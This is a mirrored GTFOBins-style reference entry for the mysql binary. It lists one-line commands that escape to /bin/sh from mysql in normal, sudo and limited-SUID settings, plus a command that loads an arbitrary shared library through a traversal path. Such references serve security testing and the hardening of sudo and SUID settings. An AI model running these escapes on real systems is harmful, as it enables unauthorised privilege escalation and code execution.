mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
17 lines
451 B
Markdown
17 lines
451 B
Markdown
---
|
|
description: A valid MySQL server must be available.
|
|
functions:
|
|
shell:
|
|
- code: mysql -e '\! /bin/sh'
|
|
sudo:
|
|
- code: sudo mysql -e '\! /bin/sh'
|
|
limited-suid:
|
|
- code: ./mysql -e '\! /bin/sh'
|
|
library-load:
|
|
- description: |
|
|
A MySQL server must accept connections in order for this to work.
|
|
|
|
The following loads the `/path/to/lib.so` shared object.
|
|
code: mysql --default-auth ../../../../../path/to/lib
|
|
---
|